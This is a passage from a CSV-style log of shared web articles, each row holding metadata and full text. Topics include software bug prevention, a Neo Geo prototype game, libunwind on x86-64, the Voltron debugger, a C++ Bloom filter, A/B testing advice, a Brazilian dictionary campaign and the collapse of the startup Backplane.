lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460459917,CONTENT SHARED,-9007594455502730692,-2979881261169775358,-5899950260414683582,,,,HTML,http://arcadeheroes.com/2016/04/11/unknown-neo-geo-mvs-fighting-game-discovered-dumped/,Unknown NEO GEO MVS Fighting Game Discovered & Dumped - Arcade Heroes,"arcadehero With all of the prototypes and unreleased games floating around out there, it is much more common for us to come across something that was reported on in the press at one time or at least that it has a title screen. In this discovery however, the circumstances just leave us with 'Unknown' as a title. As the story goes over at the NEO-GEO Forums, user NeoTurfMasta purchased a NG development board back in March 2015, where he began the work of recovering the data from the board as soon as it arrived. Initially the prospects of it didn't look too promising, thanks to a lot of corrupt data and some data indicating that it was supposed to be Voltage Fighter Gowcaizer , which was released back in 1995.Upon further investigation, NTF came across a unique test menu and shortly after that he got the game to boot. Turned out it was not VFG at all but something else entirely. With 12 characters that belonged to one of three classes, it looked like it was intended to be a fairly deep fighter. Here is a video of the character selection screen, interesting to see the unfinished combatants: Unfortunately the files needed to show things like the HUD, sound, etc were dead so it is unknown exactly what this game is. Other aspects of it were unfinished as well however, a user on the NG forums by the name of Shou-sama (who I believe is the same person behind the Shou Time blog) said he is in contact with someone who was formerly with Technos to get the ""final code base"" for this game, so just hang tight. This game was also at the Midwest Gaming Classic 2016 event this weekend, where users got a chance to try it out: What are your thoughts on this? [Via Arcade Belgium ] I'm a lifelong fan of video games and I have been operating my own arcade, The Game Grid Arcade in West Valley City, Utah since 2008.",en
1460459973,CONTENT SHARED,6576868026875674101,-2979881261169775358,-5899950260414683582,,,,HTML,http://www.corsix.org/content/libunwind-dynamic-code-x86-64,On libunwind and dynamically generated code on x86-64,"libunwind is a - supposedly portable - library for performing native stack unwinding. In simple scenarios, the library does its job fairly well, however, things get more interesting in the presence of dynamically-generated (vis-à-vis JIT-compiled) code. In fact, on any platform, and in any context, unwinding native stacks in the presence of dynamically-generated code is an interesting topic. It so happens that the Windows API gets this right, presenting you with two different options, with it being sufficient to go with either option: Construct some RUNTIME_FUNCTION data structures up front, and then call RtlAddFunctionTable . Call RtlInstallFunctionTableCallback , and then construct RUNTIME_FUNCTION data structures lazily on demand (this is exactly the interface that a JIT compiler would want, and perhaps it was designed with one in mind ). I feel that Linux doesn't really get this right. Rather than there being a single OS-supplied interface, every tool has its own way of doing things: libunwind: Construct ELF .debug_frame data structures, and table_entry data structures, and a unw_dyn_table_info data structure, and a unw_dyn_info_t structure, then call _U_dyn_register . C++ exception unwinder: Construct ELF .eh_frame data structures, then call __register_frame (I'd like to link to some documentation on __register_frame , but Google doesn't immediately find anything, so I assume that there isn't any). GDB: Construct a full in-memory ELF object, manually maintain a doubly-linked list of all such objects in a global variable called __jit_debug_descriptor , and call a global function called __jit_debug_register_code when this list is changed (though it seems baroque, this is documented quite well ). All three of these interfaces require data structures to be generated up-front, which isn't ideal for JIT compilers, but I digress (though possibly in some cases, creative use of PROT_NONE pages and SIGSEGV handlers could allow some degree of lazy on-demand generation). That all three interfaces consume different data is annoying. That .eh_frame and .debug_frame are subtly different is also annoying, but I digress again. Though libunwind presents an interface, it happens to be poorly documented and poorly implemented for x86-64. In particular, if you read the documentation, then you'd be left with the impression that unw_dyn_info_t can refer to either a unw_dyn_proc_info_t structure ( UNW_INFO_FORMAT_DYNAMIC ), or a unw_dyn_table_info structure ( UNW_INFO_FORMAT_REMOTE_TABLE or UNW_INFO_FORMAT_TABLE ). On the former structure, the documentation has the following to say: This is the preferred dynamic unwind-info format and it is generally the one used by full-blown runtime code-generators. In this format, the details of a procedure are described by a structure of type unw_dyn_proc_info_t . Let me save you some time by pointing out that unwind directives for unw_dyn_proc_info_t structures plain aren't implemented on x86-64 . As such, using unw_dyn_proc_info_t is a non-starter if you actually want to do any unwinding. Consequently, the only option is to use unw_dyn_table_info . The most interesting field of unw_dyn_table_info is table_data , the documentation for which states: A pointer to the actual data encoding the unwind-info. The exact format is architecture-specific (see architecture-specific sections below). Of course, there are no such notes below with reference to x86-64. Let me save you some time by pointing out that the table_data field should refer to an array of table_entry structures (which aren't documented, or present in any header, but can be found in the source ). In turn, the fde_offset field of that structure should refer to a DWARF FDE in .debug_frame style. After supplying unwind information via UNW_INFO_FORMAT_TABLE , libunwind is capable of unwinding over call frames for dynamically-generated code on x86-64. After getting basic unwinding working, one might like to make libunwind supply a useful function name for the call frame. The unw_dyn_table_info structure contains a name_ptr field which looks perfect for this task, but the code which should read this field instead just returns UNW_ENOINFO for UNW_INFO_FORMAT_TABLE (or, it would, but UNW_EINVAL is also likely, as the enclosing switch statement should be on pi.format rather than di->format ). The observant reader will spot that this name-related logic is fully implemented for UNW_INFO_FORMAT_DYNAMIC , leaving us in a sad situation on x86-64: use UNW_INFO_FORMAT_DYNAMIC and get names but no unwinding, or use UNW_INFO_FORMAT_TABLE and get unwinding but no names. I'd like to finish on a positive note instead of that sad note, but alas, this is a tale of woe.",en
1460460129,CONTENT SHARED,3425144896890592760,-2979881261169775358,-5899950260414683582,,,,HTML,https://github.com/snare/voltron,snare/voltron,"Voltron is an extensible debugger UI toolkit written in Python. It aims to improve the user experience of various debuggers (LLDB, GDB, VDB and WinDbg) by enabling the attachment of utility views that can retrieve and display data from the debugger host. By running these views in other TTYs, you can build a customised debugger user interface to suit your needs. Voltron does not aim to be everything to everyone. It's not a wholesale replacement for your debugger's CLI. Rather, it aims to complement your existing setup and allow you to extend your CLI debugger as much or as little as you like. If you just want a view of the register contents in a window alongside your debugger, you can do that. If you want to go all out and have something that looks more like OllyDbg, you can do that too. Built-in views are provided for: The author's setup looks something like this: More screenshots are here . voltron supports LLDB, GDB, VDB and WinDbg/CDB (via PyKD ) and runs on OS X, Linux and Windows. WinDbg support is new, please open an issue if you have problems. The following architectures are supported: Releases are on PyPI. Install with pip : $ pip install voltron If you want to be bleeding edge, clone this repo and install with setup.py : $ python setup.py install If your debugger has an init script ( .lldbinit for LLDB or .gdbinit for GDB) configure it to load Voltron when it starts by sourcing the entry.py entry point script. The full path will be inside the voltron package. For example, on OS X it might be /Library/Python/2.7/site-packages/voltron/entry.py . If you don't add this to your init script, you'll need to execute the commands after starting your debugger. LLDB: command script import /path/to/voltron/entry.py GDB: source /path/to/voltron/entry.py set disassembly-flavor intel Start your debugger and initialise Voltron manually if necessary. On recent versions of LLDB you do not need to initialise Voltron manually: $ lldb target_binary On older versions of LLDB you need to call voltron init after you load the inferior: $ lldb target_binary (lldb) voltron init GDB: $ gdb target_binary VDB: $ ./vdbbin target_binary > script /path/to/voltron/entry.py WinDbg/CDB (requires PyKD ): > cdb -c '.load C:\path\to\pykd.pyd ; !py --global C:\path\to\voltron\entry.py' target_binary In another terminal (I use iTerm panes) start one of the UI views. On LLDB and WinDbg the views will update immediately. On GDB and VDB they will not update until the inferior stops (at a breakpoint, after a step, etc): $ voltron view register $ voltron view stack $ voltron view disassembly $ voltron view backtrace Set a breakpoint and run your inferior. (*db) b main (*db) run When the debugger hits the breakpoint, the views will be updated to reflect the current state of registers, stack, memory, etc. Views are updated after each command is executed in the debugger CLI, using the debugger's ""stop hook"" mechanism. So each time you step, or continue and hit a breakpoint, the views will update. See the wiki on github. See the issue tracker on github for more information or to submit issues. GDB GDB on some distros is built with Python 3, but the system's Python is version 2. If Voltron is installed into Python 2's site-packages it will not work with GDB. See this page on the wiki for installation instructions. There is no clean way to hook GDB's exit, only the inferior's exit, so the Voltron server is started and stopped along with the inferior. This results in views showing ""Connection refused"" before the inferior has been started. Due to a limitation in the GDB API, the views are only updated each time the debugger is stopped (e.g. by hitting a breakpoint), so view contents are not populated immediately when the view is connected, only when the first breakpoint is hit. If the stack view is causing GDB to hang then it must be launched after the debugger has been launched, the inferior started, and the debugger stopped (e.g. a breakpoint hit). This is due to a GDB bug that has not yet been resolved. LLDB On older versions of LLDB, the voltron init command must be run manually after loading the debug target, as a target must be loaded before Voltron's hooks can be installed. Voltron will attempt to automatically register its event handler, and it will inform the user if voltron init is required. WinDbg More information about WinDbg/CDB support here . Misc The authors primarily use Voltron with the most recent version of LLDB on OS X. We will try to test everything on as many platforms and architectures as possible before releases, but LLDB/OS X/x64 is going to be by far the most frequently-used combination. Hopefully Voltron doesn't set your pets on fire, but YMMV. Intel is the only disassembly flavour currently supported for syntax highlighting. See the LICENSE file. If you use this and don't hate it, buy me a beer at a conference some time. This license also extends to other contributors - richo definitely deserves a few beers for his contributions. Thanks to Azimuth Security for letting me spend time working on this. Props to richo for all his contributions to Voltron. fG! 's gdbinit was the original inspiration for this project. Thanks to Willi for implementing the VDB support. Voltron now uses Capstone for disassembly as well as the debugger hosts' internal disassembly mechanism. Capstone is a powerful, open source, multi-architecture disassembler upon which the next generation of reverse engineering and debugging tools are being built. Check it out.",en
1460460189,CONTENT SHARED,-7414654466964102039,-2979881261169775358,-5899950260414683582,,,,HTML,http://blog.michaelschmatz.com/2016/04/11/how-to-write-a-bloom-filter-cpp/,How to write a Bloom filter in C++,"Bloom filters are data structures which can efficiently determine whether an element is possibly a member of a set or definitely not a member of a set. This article will cover a simple implementation of a C++ bloom filter. It's not going to cover what bloom filters are or much of the math behind them , as there are other great resources covering those topics. The interface Let's first define the interface of our Bloom filter. We'll define three public functions: A constructor A function to add an item to the Bloom filter A function to query whether an item is possibly in the bloom filter We'll also declare a few member variables, including a bit vector to hold the state of the filter. #include <vector> struct BloomFilter { BloomFilter(uint64_t size, uint8_t numHashes); void add(const uint8_t *data, std::size_t len); bool possiblyContains(const uint8_t *data, std::size_t len); private: uint64_t m_size; uint8_t m_numHashes; std::vector<bool> m_bits; }; One thing to note is that std::vector<bool> is a space efficient specialization of std::vector , only requiring one bit per element (as opposed to one byte in typical implementations.) Bloom filter parameters There are two parameters used to construct the Bloom filter: The filter size, in bits The number of hash functions to use We can calculate the error rate based on the size of the filter, \(m\), the number of hash functions, \( k \), and the number of elements inserted, \(n\), with the formula: $$ (1 - \mathrm{e}^{\frac{-kn}{m}})^k$$ This formula isn't very useful in its current form. We'd like to be able to know how large the filter should be and how many hash functions to use, given an estimated set cardinality and error tolerance. There are two equations we can use to calculate these parameters: $$ m = -\frac{n \ln{p}}{(\ln{2})^2}$$ $$ k = \frac{m}{n}\ln{2}$$ The implementation There is just one more bit of theory necessary. You may be wondering how we can implement \(k\) hash functions; double hashing may be used to generate \(k\) hash values without affecting false positive probability! This is summarized using the formula, where \(i\) is an ordinal, \(m\) is the size of the Bloom filter, and \(x\) is the value to be hashed: $$ \text{hash}_i(x,m) = (\text{hash}_a(x) + i \times \text{hash}_b(x)) \mod{m}$$ You can read more about the proof in this paper . First, let's write the constructor. It just records the parameters and resizes the bit array. #include ""BloomFilter.h"" #include ""MurmurHash3.h"" BloomFilter::BloomFilter(uint64_t size, uint8_t numHashes) : m_size(size), m_numHashes(numHashes) { m_bits.resize(size); } Next, let's write a function to calculate the 128 bit hash of a given item. We'll be using MurmurHash3 , a 128 bit hash function which has good tradeoffs between performance, distribution, avalanche behavior, and collision resistance. As this function generates a 128 bit hash, and we need 2 64 bit hashes, we can split the returned hash in half to get \(\text{hash}_a(x)\) and \(\text{hash}_b(x)\)! std::array<uint64_t, 2> hash(const uint8_t *data, std::size_t len) { std::array<uint64_t, 2> hashValue; MurmurHash3_x64_128(data, len, 0, hashValue.data()); return hashValue; } Now that we have the hash values, we need to write a function to return the output of the \(n^{\text{th}}\) hash function. inline uint64_t nthHash(uint8_t n, uint64_t hashA, uint64_t hashB, uint64_t filterSize) { return (hashA + n * hashB) % filterSize; } All that's left to do is write the functions to set/check bits for given items! void BloomFilter::add(const uint8_t *data, std::size_t len) { auto hashValues = hash(data, len); for (int n = 0; n < m_numHashes; n++) { m_bits[nthHash(n, hashValues[0], hashValues[1], m_size)] = true; } } bool BloomFilter::possiblyContains(const uint8_t *data, std::size_t len) { auto hashValues = hash(data, len); for (int n = 0; n < m_numHashes; n++) { if (!m_bits[nthHash(n, hashValues[0], hashValues[1], m_size)]) { return false; } } return true; } Results With a 4.3MB Bloom filter and 13 hash functions, inserting 1.8M items took roughly 189 nanoseconds per element on my laptop. The false positive rate also matched the theoretical value. If you have any ideas on how to improve this implementation, please either leave a comment below or send me a message . Thanks for reading! Please enable JavaScript to view the comments powered by Disqus. comments powered by",en
1460461403,CONTENT SHARED,-2041630887686751489,-108842214936804958,2992920781291299445,,,,HTML,http://blog.kameleoon.com/en/best-practices/beginner-mistakes-ab-testing/,7 Mistakes Most Beginners Make When A/B Testing,"Unless you've been living under a rock, you know that A/B Testing can be extremely beneficial for all your marketing and design decisions. Knowing exactly what works, what doesn't, testing before implementing anything so you don't lose money, and all that jazz. You're most likely already doing A/B tests. All the power to you right? Well, not so fast. Here is the bleak truth... A staggering number of people doing A/B tests get imaginary results. We see it among our clients, and 5 minutes on Google will tell you the same story. How come? Because you can screw up in so many different ways it will make you dizzy, and because maths are involved. But fear not, we got your back. In the coming months, we'll cover about every A/B Testing mistake you could make, and how to avoid them. Today, we start off with 7 mistakes most beginners make when A/B testing: They start with complicated tests They don't have a hypothesis for each test They don't have a process and a roadmap They don't prioritize their tests They don't optimize for the right KPI's They ignore small gains They're not testing at ALL times You start doing A/B Testing with complicated tests For your first tests ever, start simple. Being successful at A/B Testing is all about process. So it's important that you first go through the motions. See how theory computes with reality, what works for you and what doesn't. Where you have problems, be it in the implementation of the tests, coming up with ideas, analyzing the results, etc... Think about how you'll scale your testing practice, or if you'll need new hires for example. Starting with A/B Testing is a lot like starting weight training seriously. You don't start with your maximum charge and complicated exercises. It would be the best way to injure yourself badly. You start light, and you focus 100% of your attention on the movement itself to achieve perfect form, with a series of checkpoints to avoid all the ways you get injured or develop bad habits-that'll end up hurting in the long run. By doing that, you'll imprint it in your muscle memory so when you need to be focused on the effort itself, you won't even have to think about the movement. Your body will instinctively do it. Then and only then, can you achieve the highest performance possible without screwing up. Exact. Same. Thing. With. A/B Testing. You start simple, focus all your attention on each step of the process, set up safeguards and adjust as you go so you don't have to worry about it later. Another benefit with starting with simple tests is that you'll get quick wins. Getting bummed out when your first tests fail (and most do, even when done by the best experts out there) is often why people give up or struggle to convince their boss/colleagues that split testing is indeed worth the time and investment. Starting with quick wins allows you to create momentum and rally people to the practice inside your team/company. So you got the message, doing complicated tests right off the bat could kill your efforts in the egg. You could be overwhelmed, get fake results and get discouraged. Here are a couple examples of things you could test to start with: Test copy on your offers, product pages, landing pages (Make it focused on benefits not features, be sure that what you mean is crystal clear) Removing distractions on key pages (Is this slider really necessary, or all these extra buttons?) You don't have a hypothesis for each test Every test idea should be based on data, articulated through an informed hypothesis with an underlying theory. If you're not doing this, you're mostly shooting in the dark without even knowing in what direction the target is. Not having a hypothesis (or a flawed one) is one of the most common reason why A/B tests fail. Okay, let's take our initial statement apart piece by piece to understand what this means. Every test idea should be based on data [...] Be it quantitative or qualitative, every test is induced by an analysis of your website data and the identification of a problem or element to improve. Gut feelings or ""I read that..."" won't do. It could work but you're A/B Testing to make decisions based on data, so let's not flip a coin for our tests ideas, shall we? Here are several sources to build your hypothesis on: Analytics Heatmaps Surveys Interviews Usability tests Heuristic analysis ( great article here by Peep Laja, don't pay attention to the title, it's great even if you do have lots of traffic) [...] an underlying theory Put yourself in the shoes of your customers. Why didn't they do what you wanted them to? What was their intent at this stage? What would make you leave/not do what was expected? Example: ""I think that if I'm a customer, I'd be more inclined to go through with this step if the form had less fields"". Don't skip this. When you're deep in your CRO practice, you sometimes tend to forget about your users. You focus on numbers and design. It's paramount to take a step back. The difference between a bad hypothesis and a great one could be staring at you in the face. Let's not forget that we are beings doted with empathy. We're humans creating value for humans. [...] an informed hypothesis [...] With data and a theory, you can now craft your test hypothesis. You can use this format or something along those lines: By {making this change} , {KPI A, B, and thus primary metric} will improve {slightly / noticeably / greatly} because {reasons (data, theory, ...)}. Working this way will not only improve the quality of your tests, but also your global conversion optimization efforts. Good, you are now testing to confirm or disprove a hypothesis, not shooting from the hip hoping to hit something eventually. You don't have a process and a roadmap If you want to succeed at A/B Testing, and more largely at Conversion Rate Optimization, you need 2 essential elements: 1. Why do you need a roadmap? What does it consist of? A roadmap will help you test what matters and work toward a clear end goal. It'll guide your efforts and prevent you from doing aimless testing. In your roadmap, you should have: Business goals: the reasons you have a website. Be concise, simple, realistic. Website goals: how will you achieve these business goals through your site. What are your priorities? What are your most popular pages? Which ones have the highest potential for improvement? What does your conversion funnel look like, step by step? Where are the friction points? Key metrics: how will you measure success? A North Star : What's the one metric-correlated with Customer satisfaction, that if you focus exclusively your efforts on will guarantee your success? (Ex: Facebook=Daily Active Users, AirBnb= Nights Booked, Ebay=gross merchandise volume) Put all these down and make sure everyone in your team/company is on the same page and can get behind them. 2. Sometimes when we hear ""process"", we have an allergic reaction. We think it means the death of creativity, that it's boring. You'd feel trapped. It's absolutely not true for A/B Testing (or CRO). On the contrary. It's BECAUSE you have a process that you'll be able to be creative. A/B Testing is a science experiment. You need to be rigorous, have a set of parameters making sure what you're doing is measurable, repeatable and accurate. It's easy to fail. So you need safeguards. Steps that you will go through each and every time without having to think. No need to reinvent the wheel every time. You need a process so you can focus on crafting the best hypothesis possible and optimize learning. The details of your process will be specific to you and your company. But it will look something like that: Measure Prioritize Test Learn Communicate (Don't skip this. Share with your colleagues why you did that test, how it is pertinent to your business goals, if it succeeded/failed, what you learned. Encourage discussions; each department has insights for different stages of your funnel. And keep your IT team in the loop.) Repeat When you feel like you lost your focus, use Brian Balfour question : ""What is the highest-impact thing I can work on right now given my limited resources, whether that's people, time, or money?"" You don't prioritize With a process, a roadmap and the development of a testing culture inside your company, you'll have a list of test ideas longer than your arm. You need a system to prioritize tests, to stay on top of things and make sure you do what matters. And to not waste time and money on stupid tests. Okay, I apologize in advance but allow me a small angry rant: There are articles on the interwebz roaming about and claiming things like: ""CHANGING OUR CTA TO RED INCREASED CONVERSIONS BY 287%."" For the sake of argument, let's say they did have this crazy lift. First thing first: there are NO colors converting more than others. What's important is visual hierarchy , i.e. is your CTA standing out from the rest of your page for example. Second, testing minute details like color won't get you anywhere. Most often, these types of changes are obvious. If your CTA doesn't stand out from your page, or if your headline/copy isn't clear-do something about it. You don't need to test. If you'd put it in the ""Well, duh"" category, don't invest your time and traffic in it. Just do it! We're not saying you shouldn't test small things like adding a line of copy or changing the wording on a CTA. Just don't make them a priority (except of course-as we talked about earlier, if you're just starting out with A/B Testing). If your ship were leaking, you wouldn't begin by putting a bandaid on a small hole in the deck. Also, keep in mind that testing small changes or on low traffic pages equal small results. It's true you should test everything, but you're working with a finite amount of resources. Once you're confident in your ability to A/B Test, focus on tests with the most impact/potential. Target your pages with the most traffic and influence. You can use something like the PIE Framework to rate your tests so you know which one to do first. Each test will be rated following three criteria: Potential gain (../10): How much room for improvement is there on this(these) page(s)? Importance (../10): How valuable is the traffic on this(these) page(s)? Ease of implementation (../10): How easy will this test be to implement on your site? Average the three for each test, and you'll have a backlog of ideas ranked objectively. You don't optimize for the right KPIs There are two types of conversions. Micro and macro. You should measure both, and optimize for the macro conversions. A micro conversion is a step (click, social share, newsletter subscription, add to cart, ...) on the path leading to a macro conversion, which is an outcome that impacts your bottom-line (check out, free trial, ...), in other words, the main conversion goals of your website. Why is it important that you know the difference? Because you need to make sure that you measure both for every test, but that you don't optimize for micro conversions only. There are two types of micro conversions according to the Nielsen Norman Group : Process Milestones are conversions that represent linear movement toward a primary macro conversion. Monitoring these will help you define the steps where UX improvements are most needed. Secondary Actions are not the primary goals of the site, but they are desirable actions that are indicators of potential future macro conversions. Measuring micro conversions allows you to know where your friction points are and help you paint a holistic picture of your entire conversion funnel. But you shouldn't optimize for them. You want to set your test goals as close to revenue possible. You could get more traffic to your landing page through a given variation of your homepage, but have fewer form completions even though more people arrived on it. So if you were optimizing only for the micro conversion of arriving on the landing page, you would have lost money. Track micro conversion, but don't optimize solely for them. And before starting any test, go back and make sure you measure everything that matters. You ignore small lifts ""Go big or go home."" It's true, as we've just said, that you should focus your tests on high impact changes first. What you won't see us say anywhere, though, is ""if your test results in a small gain, drop it and move on."" Why? Because maths, that's why. Let's take a quick example. If a test give your variation winning with 5% more conversions, and each month you get similar results. That's an 80% improvement over a year. How's that for small! Also, the more you test, the more you'll improve your website, the less you'll have big results. Don't be sad if you just get small lifts. It could mean your website is good. (Pat yourself on the back and tweet that to your boss :D). It's pretty rare to get big lifts on ""normal"" site. Don't be disheartened by small gains; it'll pay off big time over time. You're not testing at all times Every day spent without an experiment running is wasted. Opportunities missed. Oh, look! An opportuni-aah... It's gone. Why are you testing? Because you want to learn more about your visitors, make informed decisions, get more customers and earn more money. When wouldn't you want all that? Never? Yup, same here. So as they say, Always Be Testing. Testing properly takes time, you better not lose any. ""There's a way to do it better-find it"", T.Edison. How you say? Test, test, test! And when in doubt, test again! This concludes our article for today. Next time we'll look into the concepts you need to grasp in order to decide if you can stop your A/B Tests, so you don't pull the trigger too early and end up with fake results (yikes). Again, if you don't want to wait, download our ebook and you'll get all 10,000 words worth of content on A/B Testing mistakes. PS: Before you go, a couple of things I'd like you to do: If this article was helpful in any way, please let met know. Either leave a comment, or hit me up on Twitter @kameleoonrocks. If you'd like me to cover a topic in particular or have a question, same thing: reach out It's extremely important for me to know that I write content both helpful and focused on what matters to you. I know it sounds cheesy and fake, but I feel like writing purely marketing, ""empty"" stuff-just for the exercise, is a fat loss of time for everyone. Useless for you, and extremely un-enjoyable for me to write. So let's work together! Nous vous recommandons également :",en
1460463472,CONTENT SHARED,2824996248683640175,-1387464358334758758,-3500672065853643491,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460463527,CONTENT REMOVED,2824996248683640175,-1387464358334758758,-3500672065853643491,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460463640,CONTENT SHARED,-4872447160271266802,8676130229735483748,8652154235113638177,,,,HTML,http://www.b9.com.br/64383/advertising/campanha-do-dicionario-houaiss-pretende-mudar-definicao-de-familia/,Campanha do Dicionário Houaiss pretende mudar a definição de família,"O Houaiss pretende em breve mudar a definição do verbete ""família"" em seu dicionário. E por isso quer sugestões de pessoas para que possam dar a melhor definição possível. Para conseguir essas sugestões, o Houaiss iniciou hoje a campanha #Todasasfamílias , que você pode ver no vídeo acima. O clipe dá vários exemplos e mostra depoimentos de famílias que não são nada tradicionais e mesmo assim são famílias por qualquer olhar. A partir das sugestões enviadas, e com a ajuda de especialistas da língua, será feita uma definição mais ampla para que ""as novas gerações conheçam um significado de família mais democrático e sem preconceitos"", segundo o Houaiss. A ação pode ser considerada uma resposta (muito bem dada por sinal) ao projeto de lei 6583/13, conhecida por criar o polêmico Estatuto da Família. O projeto estabelece que a família é composta apenas de pai, mãe e filhos, ignorando completamente todas as nuances que existem no Brasil e fogem da tradição. A criação é da NBS Rio e foi feita em parceria com a Coordenadoria Especial da Diversidade Sexual (CEDS Rio) e da Associação Brasileira de Famílias Homoafetivas (ABRAFH). As sugestões de família podem ser enviadas por meio deste site .",pt
1460464871,CONTENT SHARED,6932547594283220441,-1032019229384696495,-6010834046451834902,,,,HTML,http://techcrunch.com/2016/04/11/too-close-to-the-sun/,Lady Gaga's startup Backplane burns out and sells assets,"""Why do you need money from me when you have every great investor on earth?"" That's the question that caused Backplane to buckle under the weight of its own early buzz. Lady Gaga's social network builder startup has run out of money, gone out of business, and sold its assets to a group of previous and new investors who will try to restart it. That's according to multiple sources, the legal firms that handled the sale, and its former CEO. Backplane's legacy will serve as a warning of the dangers of fundraising at too high of valuations with exploitative terms in party rounds where no investor takes responsibility. The company is also emblematic of the trouble caused when lavish lifestyles drive up burn rates and bleed companies dry. 5 years and $18.9 million later , the two issues combined to destroy the startup Founded in 2011, Backplane raised an Series A of $12.1 million in 2012 from the top venture capitalists in Silicon Valley. Sequoia, Google Ventures, Founders Fund, SV Angel, Greylock, Menlo Ventures, Formation 8, and Eric Schmidt's TomorrowVentures all poured money in at around a $40 million valuation. That was despite basically just being a fan site for Lady Gaga with hopes of launching social networks for brands. It eventually raised $5 million more. But after three years of jet-set founders running two fancy offices, the company had failed to make progress on product, and I reported multiple sources saying the startup was crashing . Backplane tried to pivot into Place.xyz , cutting its burn rate $160,000 per month, bringing on new CEO Scott Harrison, and restructuring as a self-serve social network maker mobile app. It grew to 15,000 communities and planned to build apps for Burning Man and LSU. Liquidation Preferences Vaporized Backplane The problem was that Harrison says the big-name VC money came with tough liquidation preferences that would give those investors returns first if Backplane had a successful exit. When the cash recently ran out, the firms wouldn't put more in, and their reluctance and the bad deal terms scared away new investors. Harrison tells me my article on the company's previous stumbles also hurt its fundraising abilities. A Chinese backer was supposed to spearhead a $2.5 million round to keep the startup alive, but they dropped out last-minute. Backplane went belly up. A source says Backplane defaulted on loan obligations to lenders, and Sherwood Partners confirms it worked with the company to sell its assets through Dorsey & Whitney LLP. The law firm confirms to me that the business shut down and all the assets were recently sold to investors with plans for ""restarting the concept"" of Backplane. Fresh Wings Harrison explains ""Essentially, a number of the Series A investors have started a [new company] to continue the business. They are investing to get the business started and a couple of new investors have come on board to provide additional seed funding. The goal is to restart with a clean cap structure, great product, strong partnerships, great team and lean business."" This restructuring could let the VCs save face, and potentially get a second shot at earning off the money they already sank. But now, without the baggage of the original funding structure, Backplane/Place is more attractive to investors. Harrison notes ""The system continues to operate and efforts are under way to continue business operation and release a number of new apps. Partners like Gaga and others will become paying clients and not simply strategic partnerships."" Place is still in the app stores and some of the communities are quite active, yet it's unclear who will run the company. The Backplane tale shows how much can change in startup land in just four years. During Backplane's heyday, VCs were willing to throw big sums and valuations at unproven companies. Few winced as lean teams ballooned in plush offices, and founders flew to conferences and events instead of building products. If the implosions of Backplane, Clinkle , and Famous are the brutal hangover from those frothy times, hopefully they'll teach the industry to sober up. But as with every drunk, ""Never again"" often quickly turns to ""Another round!"" Featured Image: Bryce Durbin",en
